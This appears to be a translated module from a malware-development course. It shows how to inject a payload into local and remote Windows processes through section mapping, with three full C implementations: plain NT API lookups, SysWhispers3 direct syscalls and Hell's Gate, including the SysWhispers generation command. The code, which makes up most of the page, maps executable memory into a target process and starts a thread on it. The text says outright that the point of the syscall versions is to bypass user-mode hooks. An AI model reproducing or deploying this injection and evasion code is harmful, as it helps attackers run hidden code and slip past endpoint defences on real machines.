跳至主要內容

68-系统调用——重新实现映射注入

Maldevacademy大约 14 分钟安全开发

导言

在此模块中,前面讨论的映射注入技术将使用直接 syscall 实现,用其等效的 syscall 替换 WinAPI。

系统调用参数

本部分将讲解所用的系统调用及其参数。

NtCreateSection

这是 WinAPI 中 CreateFileMapping 对应的系统调用。NtCreateSection 如下所示:

NTSTATUS NtCreateSection(
  OUT PHANDLE             SectionHandle,          // 指向接收节对象句柄的 HANDLE 变量的指针
  IN ACCESS_MASK          DesiredAccess,          // 节句柄的访问权限类型
  IN POBJECT_ATTRIBUTES   ObjectAttributes,       // 指向 OBJECT_ATTRIBUTES 结构的指针(设为 NULL)
  IN PLARGE_INTEGER       MaximumSize,            // 节的最大大小
  IN ULONG                SectionPageProtection,  // 放在节中每一页上的保护
  IN ULONG                AllocationAttributes,   // 该节的分配属性 (SEC_XXX 标志)
  IN HANDLE               FileHandle              // 可选地指定一个打开文件对象的句柄(设为 NULL)
);

虽然 NtCreateSectionCreateFileMapping 有很多相似之处,但有些参数是新的。首先,DesiredAccess 参数描述了节句柄的访问权限类型。选项列表如下所示:

image
image

在本模块中,SECTION_ALL_ACCESSSECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE 就足够了。

其次,MaximumSize 参数是指向 LARGE_INTEGERopen in new window 结构的指针。唯一需要填充的元素是 LowPart 元素,其将等于有效载荷的大小。LARGE_INTEGER 结构如下所示:

typedef union _LARGE_INTEGER {
  struct {
    DWORD LowPart;
    LONG  HighPart;
  } DUMMYSTRUCTNAME;
  struct {
    DWORD LowPart;
    LONG  HighPart;
  } u;
  LONGLONG QuadPart;
} LARGE_INTEGER; 

最后,AllocationAttributes 参数指定一个 SEC_XXX 标志的位掩码,该位掩码确定该节的分配属性。可以在 此处open in new windowflProtect 参数下找到标志列表。在本模块中,此参数将设置为 SEC_COMMIT

NtMapViewOfSection

这是 MapViewOfFile WinAPI 的底层系统调用。NtMapViewOfSection 如下所示:

NTSTATUS NtMapViewOfSection(
  IN HANDLE               SectionHandle,            // 指向由 'NtCreateSection' 创建的 Section Object 的 HANDLE
  IN HANDLE               ProcessHandle,            // 将该视图映射到的进程的进程句柄
  IN OUT PVOID            *BaseAddress,             // 指向 PVOID 变量的指针,该指针接收视图的基地址
  IN ULONG                ZeroBits,                 // 设置为 NULL
  IN SIZE_T               CommitSize,               // 设置为 NULL  
  IN OUT PLARGE_INTEGER   SectionOffset,            // 设置为 NULL
  IN OUT PSIZE_T          ViewSize,                 // 指向 SIZE_T 变量的指针,该指针包含要分配的内存大小
  IN SECTION_INHERIT      InheritDisposition,       // 如何将视图与子进程共享
  IN ULONG                AllocationType,           // 要执行的分配类型(设置为 NULL)
  IN ULONG                Protect                   // 分配的内存区域的保护
);

有关每个参数的更多文档,请参阅 Microsoft 在 ZwMapViewOfSectionopen in new window 上的文档。如果 Microsoft 缺少对该系统调用的 Nt 文档,可以使用 Zw 文档。

需要讨论一下以下参数:

首先, ViewSize 参数向上舍入到页大小的最近倍数(请记住,页面大小为 4096 字节)。

接下来,InheritDisposition 参数是从 SECTION_INHERIT 枚举中派生的。它可以设置为两个值之一

  1. ViewShare 将视图映射到未来创建的任何子进程中。

  2. ViewUnmap 不会将视图映射到任何子进程中。

SECTION_INHERIT 枚举如下所示:

typedef enum _SECTION_INHERIT {
	ViewShare = 1,
	ViewUnmap = 2
} SECTION_INHERIT, * PSECTION_INHERIT;

在本模块中,该值始终为 ViewUnmap,因为实现不会创建任何子进程。

最后,Protect 参数指定分配的内存的保护类型,它可以是 此处open in new window 找到的任何值。

NtUnmapViewOfSection

这是 UnmapViewOfFile WinAPI 的系统调用结果。NtUnmapViewOfSection 如下所示。

NTSTATUS NtUnmapViewOfSection(
  IN HANDLE               ProcessHandle,    // 包含要取消映射的视图的进程句柄
  IN PVOID                BaseAddress       // 要取消映射的视图的基地址
);

NtClose

这是 WinAPI CloseHandle 生成的系统调用。NtClose 如下所示:

NTSTATUS NtClose(
  IN HANDLE               ObjectHandle    // 要关闭的对象的句柄
);

NtClose 系统调用将用于关闭使用 NtCreateSection 创建的节的句柄。

使用 GetProcAddressGetModuleHandle 实现

下一步是使用前面展示的系统调用实现映射注入技术。跟前一个模块类似,将使用三种方法展示,首先从使用 GetProcAddressGetModuleHandle 开始。

创建了一个 Syscall 结构并使用 InitializeSyscallStruct 初始化,其中保持了所用系统调用的地址,如下所示。

// 一个用于保持所用系统调用的结构
typedef struct _Syscall {
    
    fnNtCreateSection       pNtCreateSection;
    fnNtMapViewOfSection    pNtMapViewOfSection;
    fnUnmapViewOfSection    pNtUnmapViewOfSection;
    fnNtClose               pNtClose;
    fnNtCreateThreadEx      pNtCreateThreadEx;

} Syscall, *PSyscall;



// 用于填充输入的“St”结构的函数
BOOL InitializeSyscallStruct(OUT PSyscall St) {

    HMODULE hNtdll = GetModuleHandle(L"NTDLL.DLL");
    if (!hNtdll) {
        printf("[!] GetModuleHandle Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    St->pNtCreateSection         = (fnNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
    St->pNtMapViewOfSection      = (fnNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
    St->pNtUnmapViewOfSection    = (fnUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
    St->pNtClose                 = (fnNtClose)GetProcAddress(hNtdll, "NtClose");
    St->pNtCreateThreadEx        = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");

    // 检查 GetProcAddress 是否遗漏了系统调用
    if (St->pNtCreateSection == NULL || St->pNtMapViewOfSection == NULL || St->pNtUnmapViewOfSection == NULL || St->pNtClose == NULL || St->pNtCreateThreadEx == NULL)
        return FALSE;
    else
        return TRUE;
}

LocalMappingInjectionViaSyscallsRemoteMappingInjectionViaSyscalls 函数分别负责将有效负载 (pPayload) 注入到本地进程和远程进程(hProcess)。这两个函数如下所示。

通过系统调用进行本地映射注入

BOOL LocalMappingInjectionViaSyscalls(IN PVOID pPayload, IN SIZE_T sPayloadSize) {

	HANDLE hSection = NULL;                // 部分映射视图的句柄
	HANDLE hThread = NULL;                 // 线程句柄
	PVOID pAddress = NULL;                 // 映射内存的地址
	NTSTATUS STATUS = NULL;                 // NTSTATUS 错误码
	SIZE_T sViewSize = NULL;               // 映射的内存大小
	LARGE_INTEGER MaximumSize = { 0 };      // 用于映射视图的最大内存,这里等于 Payload 大小
	MaximumSize.QuadPart = sPayloadSize;
	Syscall St = { 0 };                    // 定义 Syscall 结构体,用于保存系统调用地址

	// 初始化 Syscall 结构体, 获取系统调用地址
	if (!InitializeSyscallStruct(&St)) {
		printf("[!] 初始化系统调用结构体失败\n");
		return FALSE;
	}

	//--------------------------------------------------------------------------
	// 分配本地映射视图

	if ((STATUS = St.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
		printf("[!] NtCreateSection 失败,错误码:0x%0.8X\n", STATUS);
		return FALSE;
	}

	if ((STATUS = St.pNtMapViewOfSection(hSection, (HANDLE)-1, &pAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
		printf("[!] NtMapViewOfSection 失败,错误码:0x%0.8X\n", STATUS);
		return FALSE;
	}
	printf("[+] 分配映射地址:0x%p,大小:%d\n", pAddress, sViewSize);

	//--------------------------------------------------------------------------
	// 写入 Payload

	printf("[#] 回车写入 Payload ... ");
	getchar();
	memcpy(pAddress, pPayload, sPayloadSize);
	printf("\t[+] Payload 从 0x%p 复制到 0x%p\n", pPayload, pAddress);

	//--------------------------------------------------------------------------
	// 通过创建线程执行 Payload

	printf("[#] 回车运行 Payload ... ");
	getchar();
	printf("\t[i] 运行线程入口:0x%p ... ", pAddress);
	if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
		printf("[!] NtCreateThreadEx 失败,错误码:0x%0.8X\n", STATUS);
		return FALSE;
	}
	printf("[+] 完成\n");
	printf("\t[+] 创建线程,线程 ID:%d\n", GetThreadId(hThread));

	//--------------------------------------------------------------------------

	// 卸载本地视图 - 仅当 Payload 执行完成后才进行卸载
	if ((STATUS = St.pNtUnmapViewOfSection((HANDLE)-1, pAddress)) != 0) {
		printf("[!] NtUnmapViewOfSection 失败,错误码:0x%0.8X\n", STATUS);
		return FALSE;
	}

	// 关闭部分句柄
	if ((STATUS = St.pNtClose(hSection)) != 0) {
		printf("[!] NtClose 部分句柄失败,错误码:0x%0.8X\n", STATUS);
		return FALSE;
	}

	return TRUE;
}

通过系统调用远程注入

BOOL RemoteMappingInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

	HANDLE				hSection			= NULL;
	HANDLE				hThread				= NULL;
	PVOID				pLocalAddress		= NULL,
					    pRemoteAddress		= NULL;
	NTSTATUS			STATUS				= NULL;
	SIZE_T				sViewSize			= NULL;
	LARGE_INTEGER		MaximumSize 		= {
			.HighPart = 0,
			.LowPart = sPayloadSize
	};
	Syscall				St				    = { 0 };


	if (!InitializeSyscallStruct(&St)) {
		printf("[!] Could Not Initialize The Syscall Struct \n");
		return FALSE;
	}

//--------------------------------------------------------------------------
	// 分配本地映射视图

	if ((STATUS = St.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
		printf("[!] NtCreateSection Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	if ((STATUS = St.pNtMapViewOfSection(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewUnmap, NULL, PAGE_READWRITE)) != 0) {
		printf("[!] NtMapViewOfSection [L] Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	printf("[+] Local Memory Allocated At : 0x%p Of Size : %d \n", pLocalAddress, sViewSize);

//--------------------------------------------------------------------------

	// 编写有效载荷
	printf("[#] Press <Enter> To Write The Payload ... ");
	getchar();
	memcpy(pLocalAddress, pPayload, sPayloadSize);
	printf("\t[+] Payload is Copied From 0x%p To 0x%p \n", pPayload, pLocalAddress);

//--------------------------------------------------------------------------

	// 分配远程映射视图
	if ((STATUS = St.pNtMapViewOfSection(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
		printf("[!] NtMapViewOfSection [R] Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] Remote Memory Allocated At : 0x%p Of Size : %d \n", pRemoteAddress, sViewSize);

//--------------------------------------------------------------------------
	
	// 通过创建线程执行有效载荷
	printf("[#] Press <Enter> To Run The Payload ... ");
	getchar();
	printf("\t[i] Running Thread Of Entry 0x%p ... ", pRemoteAddress);
	if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pRemoteAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
		printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] DONE \n");
	printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));

//--------------------------------------------------------------------------
	
	// 取消映射本地视图 - 仅在有效载荷执行完毕后
	if ((STATUS = St.pNtUnmapViewOfSection((HANDLE)-1, pLocalAddress)) != 0) {
		printf("[!] NtUnmapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	
	// 关闭段句柄
	if ((STATUS = St.pNtClose(hSection)) != 0) {
		printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	return TRUE;
}

NtUnmapViewOfSection 函数应仅在有效载荷执行完毕后执行。当有效载荷仍在运行时尝试取消映射的本地视图会中断有效载荷执行或导致进程崩溃。作为一种替代方法,可以使用 NtWaitForSingleObjectopen in new window 系统调用等待线程完成,之后可以执行 NtUnmapViewOfSection 系统调用来清理映射的有效载荷,但这将留给读者练习。 使用 SysWhispers 实现

这里的实现使用 SysWhispers3 通过直接系统调用绕过用户空间钩子。使用以下命令生成此实现所需的文件。

python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtCreateSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose,NtCreateThreadEx -o SysWhispers -v*

生成了三个文件:SysWhispers.hSysWhispers.cSysWhispers-asm.x64.asm。下一步是在 Visual Studio 中导入这些文件,如前一个模块中所示。LocalMappingInjectionViaSyscallsRemoteMappingInjectionViaSyscalls 如下所示。 通过系统调用实现本地映射注入

BOOL LocalMappingInjectionViaSyscalls(IN PVOID pPayload, IN SIZE_T sPayloadSize) {
    HANDLE hSection = NULL;          // 内存节句句柄
    HANDLE hThread = NULL;           // 线程句柄
    PVOID pAddress = NULL;           // 映射地址
    NTSTATUS STATUS = NULL;          // NTSTATUS 返回值
    SIZE_T sViewSize = NULL;         // 映射大小
    LARGE_INTEGER MaximumSize = {    // 最大大小
        .HighPart = 0,
        .LowPart = sPayloadSize
    };

    //--------------------------------------------------------------------------    
    // 分配本地映射视图

    if ((STATUS = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
        printf("[!] NtCreateSection 失败,错误代码:0x%0.8X\n", STATUS);
        return FALSE;
    }

    if ((STATUS = NtMapViewOfSection(hSection, (HANDLE)-1, &pAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection 失败,错误代码:0x%0.8X\n", STATUS);
        return FALSE;
    }
    printf("[+] 分配地址:0x%p,大小:%d\n", pAddress, sViewSize);

    //--------------------------------------------------------------------------

    // 写入 payload
    printf("[#] 按下 <Enter> 写入 payload ... ");
    getchar();
    memcpy(pAddress, pPayload, sPayloadSize);
    printf("\t[+] payload 从 0x%p 复制到 0x%p\n", pPayload, pAddress);

    //--------------------------------------------------------------------------

    // 通过创建线程执行 payload

    printf("[#] 按下 <Enter> 运行 payload ... ");
    getchar();
    printf("\t[i] 运行入口为 0x%p 的线程 ... ", pAddress);
    if ((STATUS = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx 失败,错误代码:0x%0.8X\n", STATUS);
        return FALSE;
    }
    printf("[+] 完成\n");
    printf("\t[+] 创建了线程,ID:%d\n", GetThreadId(hThread));

    //--------------------------------------------------------------------------

    // 取消映射本地视图 - 仅在 payload 执行完成后
    if ((STATUS = NtUnmapViewOfSection((HANDLE)-1, pAddress)) != 0) {
        printf("[!] NtUnmapViewOfSection 失败,错误代码:0x%0.8X\n", STATUS);
        return FALSE;
    }

    // 关闭节句句柄
    if ((STATUS = NtClose(hSection)) != 0) {
        printf("[!] NtClose 失败,错误代码:0x%0.8X\n", STATUS);
        return FALSE;
    }

    return TRUE;
}

通过系统调用进行远程映射注入

BOOL RemoteMappingInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

    HANDLE hSection = NULL; // 部分映射
    HANDLE hThread = NULL; // 线程句柄
    PVOID pLocalAddress = NULL, // 本地地址
          pRemoteAddress = NULL; // 远程地址
    NTSTATUS STATUS = NULL; // NT 状态码
    SIZE_T sViewSize = NULL; // 视图大小
    LARGE_INTEGER MaximumSize = {
        .HighPart = 0,
        .LowPart = sPayloadSize
    };

//--------------------------------------------------------------------------
    // 分配本地映射视图

    if ((STATUS = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
        printf("[!] NtCreateSection 出错:0x%0.8X\n", STATUS);
        return FALSE;
    }

    if ((STATUS = NtMapViewOfSection(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection [L] 出错:0x%0.8X\n", STATUS);
        return FALSE;
    }

    printf("[+] 已在 0x%p 分配了 %d 字节的本地内存\n", pLocalAddress, sViewSize);

//--------------------------------------------------------------------------

    // 编写有效载荷
    printf("[#] 按 <Enter> 写入有效载荷... ");
    getchar();
    memcpy(pLocalAddress, pPayload, sPayloadSize);
    printf("\t[+] 有效载荷已从 0x%p 复制到 0x%p\n", pPayload, pLocalAddress);

//--------------------------------------------------------------------------

    // 分配远程映射视图
    if ((STATUS = NtMapViewOfSection(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection [R] 出错:0x%0.8X\n", STATUS);
        return FALSE;
    }

    printf("[+] 已在 0x%p 分配了 %d 字节的远程内存\n", pRemoteAddress, sViewSize);

//--------------------------------------------------------------------------

    // 通过创建线程执行有效载荷
    printf("[#] 按 <Enter> 运行有效载荷... ");
    getchar();
    printf("\t[i] 正在运行入口点为 0x%p 的线程... ", pRemoteAddress);
    if ((STATUS = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pRemoteAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx 出错:0x%0.8X\n", STATUS);
        return FALSE;
    }
    printf("[+] 完成\n");
    printf("\t[+] 已创建线程,其 ID 为:%d\n", GetThreadId(hThread));

//--------------------------------------------------------------------------

    // 仅在有效载荷执行完毕后才取消映射本地视图
    if ((STATUS = NtUnmapViewOfSection((HANDLE)-1, pLocalAddress)) != 0) {
        printf("[!] NtUnmapViewOfSection 出错:0x%0.8X\n", STATUS);
        return FALSE;
    }

    // 关闭节句柄
    if ((STATUS = NtClose(hSection)) != 0) {
        printf("[!] NtClose 出错:0x%0.8X\n", STATUS);
        return FALSE;
    }

    return TRUE;
}

使用 Hell's Gate 实现

该模块的最后一种实现方式是使用 Hell's Gate。首先,确保针对使用 SysWhispers3 设置 Visual Studio 项目时所做的相同步骤在此处也已完成。具体而言,启用 MASM 以及修改属性以设置 ASM 文件以使用 Microsoft 宏汇编器进行编译。

更新 VX_TABLE 结构

typedef struct _VX_TABLE {
	VX_TABLE_ENTRY NtCreateSection;  // 创建节区
	VX_TABLE_ENTRY NtMapViewOfSection;  // 从节区中映射视图
	VX_TABLE_ENTRY NtUnmapViewOfSection;  // 取消从节区中映射视图
	VX_TABLE_ENTRY NtClose;  // 关闭句柄
	VX_TABLE_ENTRY NtCreateThreadEx;  // 创建线程
} VX_TABLE, * PVX_TABLE;

更新初始值

将使用新的初始值替换旧初始值,以便更改系统调用的哈希值。djb2 哈希函数已采用以下新初始值进行更新。

DWORD64 djb2(PBYTE str) {
	DWORD64 dwHash = 0x77347734DEADBEEF; // 旧值:0x7734773477347734
	INT c;

	while (c = *str++)
		dwHash = ((dwHash << 0x5) + dwHash) + c;

	return dwHash;
}

应将以下 printf 语句添加到新项目中,以生成 djb2 哈希值。

printf("#define %s%s 0x%p \n", "NtCreateSection", "_djb2", (DWORD64)djb2("NtCreateSection"));
printf("#define %s%s 0x%p \n", "NtMapViewOfSection", "_djb2", djb2("NtMapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtUnmapViewOfSection", "_djb2", djb2("NtUnmapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtClose", "_djb2", djb2("NtClose"));
printf("#define %s%s 0x%p \n", "NtCreateThreadEx", "_djb2", djb2("NtCreateThreadEx"));

生成值后,将它们添加到 Hell's Gate 项目的开头。

#define NtCreateSection_djb2         0x5687F81AC5D1497A
#define NtMapViewOfSection_djb2      0x0778E82F702E79D4
#define NtUnmapViewOfSection_djb2    0x0BF2A46A27B93797
#define NtClose_djb2                 0x0DA4FA80EF5031E7
#define NtCreateThreadEx_djb2        0x2786FB7E75145F1A

更新主函数

主函数必须更新为使用 LocalMappingInjectionViaSyscallsRemoteMappingInjectionViaSyscalls, 而不用 payload 函数open in new window。该函数将使用上述生成哈希值,如下所示。

通过系统调用进行局部映射注入

BOOL LocalMappingInjectionViaSyscalls(IN PVX_TABLE pVxTable, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

	HANDLE				hSection		= NULL;
	HANDLE				hThread			= NULL;
	PVOID				pAddress		= NULL;
	NTSTATUS			STATUS			= NULL;
	SIZE_T				sViewSize		= NULL;
	LARGE_INTEGER		MaximumSize 	= {
			.HighPart = 0,
			.LowPart = sPayloadSize
	};

//--------------------------------------------------------------------------	
	// 分配本地映射视图
	HellsGate(pVxTable->NtCreateSection.wSystemCall); // 建立地狱之门
	if ((STATUS = HellDescent(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
		printf("[!] NtCreateSection 失败,错误代码:0x%0.8X \n", STATUS);
		return FALSE;
	}
	
	HellsGate(pVxTable->NtMapViewOfSection.wSystemCall);
	if ((STATUS = HellDescent(hSection, (HANDLE)-1, &pAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
		printf("[!] NtMapViewOfSection 失败,错误代码:0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] 分配了地址 0x%p,大小 %ld \n", pAddress, sViewSize);

//--------------------------------------------------------------------------	
	// 写入 Payload

	printf("[#] 按 <Enter> 写入 Payload ... ");
	getchar();
	memcpy(pAddress, pPayload, sPayloadSize);
	printf("\t[+] Payload 已从 0x%p 复制到 0x%p \n", pPayload, pAddress);
	printf("[#] 按 <Enter> 运行 Payload ... ");
	getchar();

//--------------------------------------------------------------------------	
	
	// 通过创建线程执行 Payload

	printf("\t[i] 正在运行入口点为 0x%p 的线程 ... ", pAddress);
	HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
	if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
		printf("[!] NtCreateThreadEx 失败,错误代码:0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] 完成 \n");
	printf("\t[+] 已创建线程,线程 ID:%d \n", GetThreadId(hThread));

	
//--------------------------------------------------------------------------
	
	// 取消映射本地视图 - 仅在 Payload 执行完毕后
	HellsGate(pVxTable->NtUnmapViewOfSection.wSystemCall);
	if ((STATUS = HellDescent((HANDLE)-1, pAddress)) != 0) {
		printf("[!] NtUnmapViewOfSection 失败,错误代码:0x%0.8X \n", STATUS);
		return FALSE;
	}
	
	// 关闭区段句柄
	HellsGate(pVxTable->NtClose.wSystemCall);
	if ((STATUS = HellDescent(hSection)) != 0) {
		printf("[!] NtClose 失败,错误代码:0x%0.8X \n", STATUS);
		return FALSE;
	}

	return TRUE;
}

通过系统调用进行远程映射注入

BOOL RemoteMappingInjectionViaSyscalls(IN PVX_TABLE pVxTable, IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

    HANDLE              hSection            = NULL;
    HANDLE              hThread             = NULL;
    PVOID               pLocalAddress       = NULL,
                        pRemoteAddress      = NULL;
    NTSTATUS            STATUS              = NULL;
    SIZE_T              sViewSize           = NULL;
    LARGE_INTEGER       MaximumSize         = {
                            .HighPart = 0,
                            .LowPart = sPayloadSize
                        };

//--------------------------------------------------------------------------
    // 分配本地映射视图
    
    HellsGate(pVxTable->NtCreateSection.wSystemCall);
    if ((STATUS = HellDescent(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
        printf("[!] NtCreateSection 失败,错误码:0x%0.8X \n", STATUS);
        return FALSE;
    }

    HellsGate(pVxTable->NtMapViewOfSection.wSystemCall);
    if ((STATUS = HellDescent(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection [L] 失败,错误码:0x%0.8X \n", STATUS);
        return FALSE;
    }

    printf("[+] 本地内存已分配,地址:0x%p,大小:%d \n", pLocalAddress, sViewSize);

//--------------------------------------------------------------------------

    // 写入有效负载
    printf("[#] 按下 <Enter> 键写入有效负载 ... ");
    getchar();
    memcpy(pLocalAddress, pPayload, sPayloadSize);
    printf("\t[+] 有效负载已从 0x%p 复制到 0x%p \n", pPayload, pLocalAddress);

//--------------------------------------------------------------------------

    // 分配远程映射视图
    HellsGate(pVxTable->NtMapViewOfSection.wSystemCall);
    if ((STATUS = HellDescent(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection [R] 失败,错误码:0x%0.8X \n", STATUS);
        return FALSE;
    }

    printf("[+] 远程内存已分配,地址:0x%p,大小:%d \n", pRemoteAddress, sViewSize);

//--------------------------------------------------------------------------

    // 通过创建线程执行有效负载
    printf("[#] 按下 <Enter> 键运行有效负载 ... ");
    getchar();
    printf("\t[i] 正在运行入口点为 0x%p 的线程 ... ", pRemoteAddress);
    HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
    if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pRemoteAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx 失败,错误码:0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] 完成 \n");
    printf("\t[+] 创建的线程 ID 为:%d \n", GetThreadId(hThread));

//--------------------------------------------------------------------------

    // 只有当有效负载执行完成后才解除映射本地视图
    HellsGate(pVxTable->NtUnmapViewOfSection.wSystemCall);
    if ((STATUS = HellDescent((HANDLE)-1, pLocalAddress)) != 0) {
        printf("[!] NtUnmapViewOfSection 失败,错误码:0x%0.8X \n", STATUS);
        return FALSE;
    }

    // 关闭句柄
    HellsGate(pVxTable->NtClose.wSystemCall);
    if ((STATUS = HellDescent(hSection)) != 0) {
        printf("[!] NtClose 失败,错误码:0x%0.8X \n", STATUS);
        return FALSE;
    }

    return TRUE;
}

本地注入与远程注入

与之前的模块类似,如果定义了 LOCAL_INJECTION,则构建一个预处理程序宏代码以针对本地进程。预处理程序代码如下所示。

#define LOCAL_INJECTION

#ifndef LOCAL_INJECTION
#define REMOTE_INJECTION
// 设置目标进程 PID
#define PROCESS_ID 18784
#endif // !LOCAL_INJECTION

演示

本地使用 SysWhispers 实现。

image
image

远程使用 SysWhispers 实现。

image
image

本地使用 Hell's Gate 实现。

image
image

远程使用 Hell's Gate 实现。

image
image